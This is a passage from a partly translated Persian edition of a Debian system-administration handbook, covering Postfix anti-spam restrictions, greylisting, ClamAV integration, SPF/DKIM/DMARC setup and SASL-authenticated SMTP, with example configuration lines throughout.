The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to too many rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

Using permit_mynetworks as the first rule has an interesting side effect: the following rules only apply to hosts outside the local network. This allows blacklisting all hosts that announce themselves as part of the falcot.com network, for instance by adding a falcot.com REJECT You are not in our network! line to the /etc/postfix/access_helo file.

11.1.3.3. پذیرش یا رد مبتنی بر فرستنده اعلام شده

هر پیام شامل فرستنده است، که توسط دستور MAIL FROM از پروتکل SMTP اعلام می‌شود؛ مجدد، این اطلاعات می‌توانند به چندین روش ارزیابی گردند.

مثال 11.4. بررسی‌های فرستنده

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

جدول /etc/postfix/access_sender با برخی فرستندگان به شیوه‌ای خاص برخورد می‌کند. این معمولا به معنی قراردادن برخی فرستندگان در فهرست سیاه و سفید است.

قانون reject_unknown_sender_domain نیازمند یک دامنه معتبر فرستنده است، چرا که برای یک نشانی معتبر لازم است. قانون reject_unlisted_sender کاربران محلی که نشانی آن‌ها موجود نباشد را رد می‌کند؛ اینکار از ارسال پیام‌هایی که از نشانی‌های نامعتبر وابسته به دامنه falcot.com می‌آیند، جلوگیری می‌کند. پیام‌هایی که به شکل joe.bloggs@falcot.com باشند تنها در شرایط وجود چنین نشانی پذیرفته می‌شوند.

در نهایت، قانون reject_non_fqdn_sender پیام‌هایی که از یک نشانی بدون نام دامنه تمام-عیار ارسال شوند را رد می‌کند. در عمل، یعنی پیام‌هایی که به صورت user@machine باشند: نشانی باید به صورت user@machine.example.com یا user@example.com اعلام گردد.

The reject_rhsbl_sender rule reject senders based on a (domain-based) RHSBL service.

11.1.3.4. پذیرش یا رد مبتنی بر گیرنده

هر ایمیل حداقل یک گیرنده دارد، که توسط دستور RCPT TO از پروتکل SMTP معرفی می‌شود. این نشانی‌ها همچنین عملیات اعتبارسنجی را تضمین می‌کنند، حتی اگر از بررسی‌های انجام شده روی نشانی فرستنده مشخص نباشد.

مثال 11.5. بررسی‌های گیرنده

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

reject_unauth_destination قانون پایه‌ای است که پیام‌های خارجی را ملزم می‌سازد نشانی ما را داشته باشند؛ پیام‌هایی که به نشانی خارج از محدوده پوشش این سرور فرستاده شوند رد می‌شوند. بدون این قانون، یک سرور به سیستم بازی تبدیل می‌شود که به اسپمرها اجازه می‌دهد پیام‌های ناخواسته خود را ارسال کنند؛ بنابراین این قانون الزامی است و بهتر است که در قسمت ابتدایی فهرست قرار گیرد، تا قبل از مشخص نشدن گیرنده یک پیام، هیچ قانون دیگری نتواند آن را بررسی کند.

قانون reject_unlisted_recipient پیام‌های ارسالی به کاربران غیرواقعی را رد می‌کند، که با عقل جور در می‌آید. در نهایت، قانون reject_non_fqdn_recipient نشانی‌هایی که تمام-عیار نباشند را رد می‌کند؛ این قانون منجر می‌شود که پیام به jean یا jean@machine ارسال نشود و نیازمند نشانی کامل می‌باشد از جمله jean@machine.falcot.com یا jean@falcot.com.

The permit directive at the end is not necessary. But it can be useful at the end of a restriction list to make the default policy explicit.

11.1.3.5. محدودیت‌های مرتبط با دستور DATA

دستور DATA از پروتکل SMTP قبل از محتوای پیام قرار می‌گیرد. با اینکه هیچ اطلاعات خاصی را فراهم نمی‌کند، بجز معرفی قسمت بعدی، می‌تواند مورد بررسی قرار گیرد.

مثال 11.6. بررسی‌های DATA

smtpd_data_restrictions = reject_unauth_pipelining

عبارت reject_unauth_pipelining زمانی منجر به رد پیام می‌شود که فرستنده آن دستوری را قبل از پاسخ به دستور قبلی فرستاده باشد. این عملکرد در مقابل شیوه کار ربات‌های اسپمر قرار می‌گیرد، چرا که آن‌ها اغلب اهمیتی به پاسخ‌ها نمی‌دهند و تمرکز خود را روی ارسال بیشترین پیام در کمترین زمان معطوف می‌سازند.

11.1.3.6. اعمال محدودیت‌ها

Although the above commands validate information at various stages of the SMTP exchange, Postfix sends the actual rejection as a reply to the RCPT TO command by default.

یعنی حتی اگر پیام مبتنی بر یک دستور نامعتبر ... رد شده باشد، Postfix از فرستنده و گیرنده پیام هنگام اعلام رد آن آگاه است. در این مرحله است که می‌تواند پیام مرتبط‌تری را در فایل‌های گزارش قرار دهد تا اینکه همان ابتدای کار این فرآیند متوقف می‌شد. علاوه بر این، تعدادی از برنامه‌های SMTP انتظار شکست عملیات در همان دستورات ابتدایی SMTP را ندارند و این برنامه‌ها کمتر با این عملیات رد دیرموقع، مختل می‌‌شوند.

مزیت نهایی این انتخاب این است که قوانین می‌توانند طی مراحل مختلف تبادل SMTP اطلاعات زیادی کسب کنند؛ این باعث می‌شود مجوزهای بهتری را بتوان تعریف کرد، از جمله رد یک ارتباط غیر-محلی که خود را به عنوان یک فرستنده محلی معرفی کرده باشد.

The default behavior is controlled by the smtpd_delay_reject rule.

11.1.3.7. فیلترکردن مبتنی بر محتوای پیام

سیستم ارزیابی و ایجاد محدودیت بدون ایجاد روشی برای بررسی متن پیام کامل نیست. Postfix بین بررسی‌های انجام گرفته روی سرآیند ایمیل و بدنه آن تفاوت قائل می‌شود.

مثال 11.7. فعال‌سازی فیلترهای محتوا-محور

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

هر دو فایل شامل فهرستی از عبارت‌های منظم (که به نام regexps یا regexes نیز شاخته می‌شوند) و اقدامات مربوط به هر کدام در صورت تطبیق سرآیند یا بدنه ایمیل با آن‌ها می‌باشند.

نگاه سریع جدول‌های Regexp

The file /usr/share/doc/postfix/examples/header_checks.gz (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

مثال 11.8. نمونه فایل /etc/postfix/header_checks

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

بازگشت به مقدمات عبارت منظم

The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance, foo|bar matches either “foo” or “bar”), sets of allowed characters (for instance, [0-9] means "any digit", and . — a dot — means "any character"), quantification (s? matches either s or the empty string, in other words 0 or 1 occurrence of s; s+ matches one or more consecutive s characters; and so on). Parentheses allow grouping search results.

The precise syntax of these expressions varies across the tools using them, but the basic features are similar.

→ https://en.wikipedia.org/wiki/Regular_expression

اولی به بررسی سرآیند می‌پردازد که آیا شامل نرم‌افزار ایمیل هست یا خیر؛ اگر GOTO Sarbacane (یک نرم‌افزار ایمیل انبوه) پیدا شد، پیام رد می‌شود. عبارت دوم نیز به بررسی محتوای پیام می‌پردازد؛ اگر شامل یک اطلاعیه ویروس باشد، می‌توان تصمیم گرفت بجای رد ایمیل، آن را نادیده بگیریم.

استفاده از این فیلترها مانند راه رفتن روی لبه تیغ است، چرا که در صورت عمومی در نظر گرفتن این قوانین ممکن است بسیاری از ایمیل‌های معتبر و قانونی را از دست بدهیم. در این موارد، نه تنها پیام‌ها از دست می‌روند، بلکه برای فرستندگان آنان نیز پیام‌های خطای آزاردهنده ارسال می‌گردد.

11.1.4. برپایی فهرست خاکستری

"فهرست خاکستری" یک تکنیک فیلترکردن است به طوری که در ابتدا پیام به صورت موقت رد می‌شود و در صورت گذشت یک بازه زمانی و تلاش مجدد، مورد پذیرش قرار می‌گیرد. این تکنیک اغلب در مورد رایانه‌هایی که توسط کرم‌ها و ویروس‌ها آلوده شده‌اند به خوبی جواب می‌دهد، چرا که این گونه نرم‌افزارها به ندرت به عنوان یک برنامه کامل SMTP عمل می‌کنند (با بررسی کد خطا و تلاش مجدد برای ارسال پیام در زمان دیگر)، به خصوص که بسیاری از نشانی‌های برداشت شده برای اینکار در حقیقت نامعتبر هستند و تلاش مجدد برای ارسال فقط به معنی اتلاف زمان است.

Postfix به خودی خود شامل فهرست خاکستری نیست، اما گزینه‌ای وجود دارد که تصمیم‌گیری برای پذیرش یا رد یک پیام را می‌توان به یک برنامه خارجی سپرد. بسته postgrey شامل همین عملکرد است، که به منظور سیاست دسترسی به عنوان سرویس نماینده طراحی شده است.

زمانی که postgrey نصب شود، به عنوان یک فرآیند پس‌زمینه به درگاه ۱۰۰۲۳ گوش می‌کند. سپس می‌توان با تنظیم پارامتر check_policy_service در Postfix، آن را به این منظور پیکربندی کرد:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

هر زمان که Postfix به این قانون می‌رسد، به فرآیند پس‌زمینه postgrey متصل شده و اطلاعات مرتبط با پیام را به آن ارسال می‌کند. Postgrey در سمت خود، سه‌گانه نشانی IP/فرستنده/گیرنده را برای وجود در پایگاه‌داده خود مورد بررسی قرار می‌دهد. اگر وجود داشت، Postgrey اطلاع می‌دهد که پیام باید پذیرفته شود؛ در غیر اینصورت، پاسخی که نشان‌دهنده رد موقتی پیام است به همراه سه‌گانه مذکور در پایگاه‌داده خود ذخیره‌سازی می‌کند.

اشکال اصلی فهرست خاکستری این است که پیام‌های قانونی با تاخیر مواجه می‌شوند، که برای همیشه قابل قبول نیست. همچنین بار سرورهایی که بسیاری ایمیل‌های قانونی را ارسال می‌کنند، افزایش می‌‌دهد.

در عمل نقطه ضعف فهرست خاکستری

به لحاظ نظری، فهرست خاکستری تنها باید اولین پیام ارسالی از یک فرستنده به گیرنده را با تاخیر همراه سازد، که این تاخیر در حد چند دقیقه است. اما حقیقت چیزی دیگری است. برخی شرکت‌های بزرگ ارائه‌دهنده خدمات اینترنت، خوشه‌ای از سرورهای SMTP را استفاده می‌کنند و زمانی که یک پیام در ابتدا رد می‌شود، سروری که به این کد خطا پاسخ می‌دهد الزاما با سروری که پیام اولیه را فرستاده است، یکسان نیست. زمانی که این اتفاق می‌افتد، سرور دوم نیز این پیام خطای موقت را دریافت می‌کند و به همین ترتیب؛ ممکن است چندین ساعت طول بکشد تا همان سرور اولیه به مسیر تبادل پیام بازگردد، چرا که سرورهای SMTP با هر بار مواجه پیام خطا، زمان ارسال مجدد آن را افزایش می‌دهند.

به عنوان یک پیامد، نشانی IP دریافتی حتی برای یک فرستنده نیز می‌تواند در طول زمان تغییر کند. اما مشکل دیگری نیز وجود دارد: حتی نشانی فرستنده نیز می‌تواند تغییر کند. برای نمونه، بسیاری سروهای میلینگ-لیست به منظور تعامل با پیام‌های خطا اقدام به رمزگذاری اطلاعات اضافی در قسمت نشانی فرستنده می‌کنند (که به عنوان bounces شناخته می‌شود). هر پیام جدید که به میلینگ-لیست ارسال می‌شود نیاز به عبور از فهرست خاکستری را دارد، که به معنی ذخیره‌سازی (موقت) آن در سرور فرستنده است. برای میلینگ‌-لیست‌های بسیار بزرگ (با ده‌ها هزار مشترک) این امر به زودی مشکل بزرگی می‌شود.

برای مقابله با این مشکلات، Postgrey فهرست سفیدی از چنین سایت‌هایی را مدیریت می‌کند و پیام‌هایی که از آن‌ها ارسال شود را بدون عبور از فهرست خاکستری مورد پذیرش قرار می‌دهد. این فهرست به سادگی می‌تواند برای نیازهای شبکه محلی سازگار شود، چرا که در فایل /etc/postgrey/whitelist_clients قرار گرفته است.

مطالعه بیشتر فهرست خاکستری انتخابی با استفاده از milter-greylist

اشکالات موجود در فهرست خاکستری می‌تواند با اعمال آن‌ها بر مجموعه‌ای از رایانه‌ها که منبع احتمالی اسپم هستند، رفع گردد (چرا که آن‌ها در یک فهرست سیاه DNS قرار می‌گیرند). اینکار با استفاده از postgrey ممکن نیست اما از milter-greylist برای چنین مواقعی استفاده می‌گردد.

در این سناریو، از آنجا که فهرست‌های سیاه DNS منجر به رد قعطی یک پیام نمی‌شود، استفاده از فهرست‌های سیاه تهاجمی منطقی به نظر می‌رسد، از جمله آن‌هایی که نشانی‌های IP پویا رایانه‌های ISP را شامل می‌شوند (از جمله pbl.spamhaus.org یا dul.dnsbl.sorbs.net).

Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. The greylist.conf(5) manual page documents /etc/milter-greylist/greylist.conf and the numerous ways to configure milter-greylist. You will also have to edit /etc/default/milter-greylist to actually enable the service.

11.1.5. سفارشی‌سازی فیلترها مبتنی بر گیرنده

قسمت‌های قسمت 11.1.3, “محدودیت برای ارسال و دریافت” و قسمت 11.1.4, “برپایی فهرست خاکستری” بسیاری محدودیت‌های ممکن را بررسی کرده‌اند. همگی آن‌ها کاربرد خود برای محدودکردن بخشی از اسپم‌ها را دارند اما شامل نواقصی نیز هستند. بنابراین بسیار متداول است که مجموعه فیلترهای بکار رفته روی گیرنده را سفارشی‌سازی کرد. در شرکت فالکوت، استفاده از فهرست خاکستری در کار اغلب کاربران مشکلی بوجود نمی‌آورد اما برخی نیز نیاز به تاخیر بسیار کمی در کار خود دارند (از جمله واحد پشتیبانی فنی). به همین شکل، واحد تجاری گاهی اوقات مشکلاتی با برخی مشتریان آسیایی دارد که در فهرست سیاه قرار گرفته‌اند؛ این واحد درخواست یک نشانی بدون فیلتر به منظور مکاتبه با آن‌ها را دارد.

Postfix با استفاده از مفهوم “کلاس محدودیت” امکان سفارشی‌سازی فیلترها را فراهم می‌کند. کلاس‌ها در پارامتر smtpd_restriction_classes قرار گرفته و به شیوه مشابه smtpd_recipient_restrictions تعریف شده‌اند. عبارت check_recipient_access نگاشتی بین یک گیرنده و مجموعه‌ای از محدودیت‌های آن برقرار می‌کند.

مثال 11.9. تعریف کلاس‌های محدودیت در main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

مثال 11.10. فایل /etc/postfix/recipient_access

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. یکپارچه‌سازی آنتی‌ویروس

طیف گسترده ویروس‌هایی که به عنوان فایل ضمیمه در ایمیل‌ها قرار می‌گیرند نیاز به استفاده از یک آنتی‌ویروس در نقطه ابتدایی شبکه شرکت را با اهمیت می‌سازد، چرا که با وجود آگاهی‌رسانی‌های بسیار، هنوز برخی کاربران اقدام به باز کردن فایل‌های ضمیمه پیام‌های ناخواسته می‌کنند.

SECURITY Controversial Discussion of Anti-Virus Software

The usage of virus scanners, or so called antivirus software, is controversial. There is usually a gap between the release of some piece of malware and the addition of detection rules to the antivirus database. During this gap, there is no software-based protection. Further, the usage often requires to run additional software, for example, to uncompress archives and scan all kinds of executables, which drastically increases the exploit potential of the antivirus software itself. Usage of such software solutions can therefor never replace awareness campaigns and simple behavioral rules (never open unsolicited sent attachments, etc.).

مدیرسیستم‌های فالکوت clamav را به عنوان آنتی‌ویروس آزاد خود انتخاب کرده‌اند. بسته اصلی clamav نام دارد، اما آن‌ها اقدام به نصب بسته‌های اضافی از جمله arj، unzoo، unrar و lha نیز کرده‌اند چرا که استفاده از این بسته‌ها به منظور بررسی محتوای فایل‌های ضمیمه با قالب‌های مختلف مورد نیاز است.

وظیفه برقراری ارتباط بین آنتی‌ویروس و سرور ایمیل بر عهده clamav-milter است. یک milter (که مخفف mail filter است) یک برنامه فیلترکردن بخصوص است که برای تعامل با سرورهای ایمیل طراحی شده است. یک milter از یک رابط استاندارد برنامه‌نویسی یا API استفاده می‌کند که عملکرد بهتری در مقایسه با فیلترهای خارجی برای سرورهای ایمیل فراهم می‌کند. milterها در ابتدا توسط Sendmail معرفی شدند اما Postfix به زودی از آن‌ها پشتیبانی کرد.

نگاه سریع فیلتر ایمیل برای Spamassassin

بسته spamass-milter فیلتر ایمیلی مبتنی بر SpamAssassin فراهم می‌کند، برنامه معروف شناسایی ایمیل ناخواسته. می‌تواند برای پرچم‌گذاری پیام‌ها به عنوان اسپم احتمالی استفاده شود (با افزودن یک سرآیند اضافی) و/یا رد پیام‌هایی که امتیاز “spamminess” آن‌ها بیش از محدوده استاندارد باشد.

زمانی که بسته clamav-milter نصب شود، فیلتر ایمیل باید به گونه‌ای پیکربندی شود که روی یک درگاه TCP جدا از مقدار پیشفرض سوکت نامگذاری شده قرار بگیرد. اینکار با استفاده از dpkg-reconfigure clamav-milter صورت می‌گیرد. زمانی که پرسش “Communication interface with Sendmail” مطرح می‌شود، “inet:10002@127.0.0.1” را پاسخ دهید.

یادداشت درگاه واقعی TCP در مقایسه با سوکت نامگذاری شده

دلیلی که از درگاه واقعی TCP بجای سوکت نامگذاری شده استفاده می‌کنیم این است که فرآیندهای پس‌زمینه postfix اغلب به صورت chroot شده اجرا می‌گردند که در این حالت به دایرکتوری قرار گرفته در سوکت نامگذاری شده دسترسی ندارند. همچنین می‌توانید تصمیم بگیرید که هنگام استفاده از سوکت نامگذاری شده از یک محل درون chroot (/var/spool/postfix/) استفاده کنید.

پیکربندی استاندارد ClamAV برای اکثر موقعیت‌های مناسب است، اما برخی پارامترهای مهم هنوز می‌توانند با استفاده از دستور dpkg-reconfigure clamav-base سفارشی گردند.

گام آخر اطلاع‌رسانی به Postfix درباره فیلتر تازه-پیکربندی شده است که به سادگی افزودن عبارت زیر به /etc/postfix/main.cf است:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

If the antivirus causes problems, this line can be commented out, and systemctl reload postfix should be run so that this change is taken into account.

در عمل آزمایش آنتی‌ویروس

Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the eicar.com (or eicar.com.zip) file, which can be downloaded online:

→ https://2016.eicar.org/86-0-Intended-use.html

این فایل یک ویروس واقعی نیست، بلکه به عنوان فایل آزمایشی توسط تمام آنتی‌ویروس‌های موجود در بازار به منظور آزمایش عملکرد صحیح برنامه مورد استفاده قرار می‌گیرد.

اکنون تمام پیام‌های ارسالی به Postfix از طریق فیلتر آنتی‌ویروس عبور داده می‌شوند.

11.1.7. Fighting Spam with SPF, DKIM and DMARC

The high number of unsolicited email sent every day led to the creation of several standards, which aim at validating that the sending host of an email is authorized and that the email has not been tampered with. The following systems are all DNS-based and require the administrators to not only have control over the mail server, but over the DNS for the domain in question too.

CAUTION Controversial Discussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefor these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integrating the Sender Policy Framework (SPF)

The Sender Policy Framework (SPF) is used to validate if a certain mail server is allowed to send emails for a given domain. It is mostly configured through DNS. The syntax for the entry to make is explained in detail at:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to email the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Let's take a quick look at the falcot.org entry.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

It states that the IP of the sender must match the A record for the sending domain, or must be listed as one of the Mail Exchange Resource Records for the current domain, or must be one of the three mentioned IP4 addresses. All other hosts should be marked as not being allowed to send email for the sender domain. The latter is called a "soft fail" and is intended to mark the email accordingly, but still accept it.

The postfix mail server can check the SPF record for incoming emails using the postfix-policyd-spf-python package, a policy agent written in Python. The file /usr/share/doc/postfix-policyd-spf-python/README.Debian describes the necessary steps to integrate the agent into postfix, so we won't repeat it here.

The configuration is done in the file /etc/postfix-policyd-spf-python/policyd-spf.conf, which is fully documented in policyd-spf.conf(5) and /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. The main configuration parameters are HELO_reject and Mail_From_reject, which configure if emails should be rejected (Fail) or accepted with a header being appended (False), if checks fail. The latter is often useful, when the message is further processed by a spam filter.

If the result is intended to be used by opendmarc ( قسمت 11.1.7.3, “Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)” ), then Header_Type must be set to AR.

Note that spamassassin contains a plugin to check the SPF record.

11.1.7.2. Integrating DomainKeys (DKIM) Signing and Checking

The Domain Keys Identified Mail (DKIM) standard is a sender authentication system. The mail transport agent, here postfix, adds a digital signature associated with the domain name to the header of outgoing emails. The receiving party can validate the message body and header fields by checking the signature against a public key, which is retrieved from the senders DNS records.

→ http://dkim.org/

The necessary tools are shipped with the opendkim and opendkim-tools packages.

CAUTION Mailing List Software and DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

First the private key must be created using the command opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR must be a unique name for the key. It can be as simple as "mail" or the date of creation, if you plan to rotate keys.

مثال 11.11. Create a private key for signing E-Mails from falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

This will create the files /etc/dkimkeys/mail.private and /etc/dkimkeys/mail.txt and set the appropriate ownership. The first file contains the private key, and the latter the public key that needs to be added to the DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

The following directives in /etc/postfix/main.cf make postfix use the filter:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc_y_rua@yahoo.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. SMTP احرازهویت شده

به منظور امکان ارسال ایمیل ابتدا باید به سرور SMTP دسترسی داشت؛ همچنین نیازمند سرور SMTP گفته شده به منظور ارسال ایمیل از درون خود است. برای کاربران رومینگ، اینکار نیازمند تغییر مداوم پیکربندی برنامه SMTP است چرا که سرور SMTP فالکوت پیام‌هایی را که نشانی‌های IP خارج از شرکت را داشته باشند رد می‌کند. دو راه حل موجود است: یا کاربر رومینگ سرور SMTP را روی رایانه خود نصب کند یا کماکان به شیوه‌ای از سرور شرکت استفاده کنند که به عنوان یک کارمند احرازهویت شوند. راه اول توصیه نمی‌شود چرا که رایانه ممکن است همیشه متصل نباشد و در صورت بروز مشکل امکان ارسال مجدد پیام وجود نخواهد داشت؛ ما روی راه حل دوم تمرکز می‌کنیم.

احرازهویت SMTP در Postfix نیازمند SASL یا Simple Authentication and Security Layer است. اینکار نیازمند نصب بسته‌های libsasl2-modules و sasl2-bin، سپس ثبت گذرواژه در پایگاه‌داده SASL برای هر کاربری که نیازمند احرازهویت با استفاده از سرور SMTP است. اینکار با استفاده از دستور saslpasswd2 انجام می‌شود که چندین پارامتر را دریافت می‌کند. گزینه -u دامنه احرازهویت را تعریف می‌کند که باید با پارامتر smtpd_sasl_local_domain در پیکربندی Postfix یکسان باشد. گزینه -c اجازه تعریف یک کاربر جدید و -f اجازه تعریف فایل پیکربندی آن را می‌دهد در صورتی که نیاز باشد پایگاه‌داده SASL در مسیر دیگری بجز /etc/sasldb2 قرار بگیرد.

# saslpasswd2 -u `postconf -h myhostname` -f /var/spool/postfix/etc/sasldb2 -c jean [... type jean's password twice ...]

نکته اینکه پایگاه‌داده SASL در دایرکتوی Postfix ایجاده شده است. به منظور حصوص اطمینان از یکپارچگی، فایل /etc/sasldb2 را با دستور ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2 به یک پیوند نمادین پایگاه‌داده مورد استفاده Postfix تبدیل کرده‌ایم.

اکنون نیازمند پیکربندی Postfix برای استفاده از SALS هستیم. ابتدا کاربر postfix باید به گروه sasl اضافه گردد تا بتواند به پایگاه‌داده SASL دسترسی داشته باشد. برای فعال‌سازی SASL به چندین پارامتر دیگر نیاز است و پارامتر smtpd_recipient_restrictions نیز به منظور اجازه به برنامه‌های احرازهویت شده با SASL برای ارسال ایمیل، مورد نیاز است.

مثال 11.12. فعال‌سازی SASL در /etc/postfix/main.cf

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

It is usually a good idea to not send passwords over an unencrypted connection. Postfix allows to use different configurations for each port (service) it runs on. All these can be configured with different rules and directives in the /etc/postfix/master.cf file. To turn off authentication at all for port 25 (smtpd service) add the following directive:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

If for some reason clients use an outdated AUTH command (some very old mail clients do), interoperability with them can be enabled using the broken_sasl_auth_clients directive.

اضافی برنامه SMTP احرازهویت شده

اکثر برنامه‌های ایمیل قبل از ارسال پیام‌های خارجی، قادر به احزارهویت توسط سرور SMTP هستند که استفاده از این ویژگی به سادگی پیکربندی چند پارامتر متناسب با آن است. اگر برنامه مورد نظر چنین قابلیتی نداشته باشد، راهکار پیشنهادی استفاده از یک سرور Postfix محلی به منظور ارسال مجدد ایمیل از طریق سرور SMTP راه‌دور است. در این مورد، خود Postfix محلی برنامه‌ای است که با SASL احرازهویت می‌شود. پارامترهای مورد نیاز عبارتند از:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

فایل /etc/postfix/sasl_passwd باید شامل نام کاربری و گذرواژه مورد نیاز برای احرازهویت در سرور mail.falcot.com است. برای نمونه:

[mail.falcot.com] joe:LyinIsji

مانند تمام نگاشت‌های Postfix، نیاز است که این فایل توسط دستور postmap به /etc/postfix/sasl_passwd.db تبدیل شود.

11.2. سرور وب (HTTP)

